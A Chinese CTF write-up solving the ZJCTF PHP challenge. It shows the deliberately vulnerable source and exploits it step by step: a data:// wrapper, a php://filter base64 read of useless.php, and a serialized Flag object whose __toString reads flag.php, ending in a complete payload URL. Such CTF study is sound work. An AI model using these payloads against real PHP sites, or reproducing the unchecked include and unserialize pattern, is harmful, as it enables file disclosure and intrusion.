题目直接给出源代码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
需要传进三个参数 text,file,password。读第一个 if,传入 text 且读取 text 文件使其内容为 welcome to the zjctf
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
data 伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
(也可以 ?test=php://input,post 传入 welcome to the zjctf)
然后看接下来的代码,正则过滤了 flag 关键字,提示存在 useless.php 文件
if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; }
使用 php://filter 协议读取
file=php://filter/read=convert.base64-encode/resource=useless.php
base64 解码后得到
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
file_get_contents 读取文件内容,再结合题目源代码 $password = unserialize($password); 存在反序列化漏洞,所以可以将 $file 赋值为 flag.php,序列化 Flag 类
<?php class Flag{ public $file = 'flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $b = new Flag(); echo serialize($b); ?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终 payload 为,查看网页源代码得到 flag
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}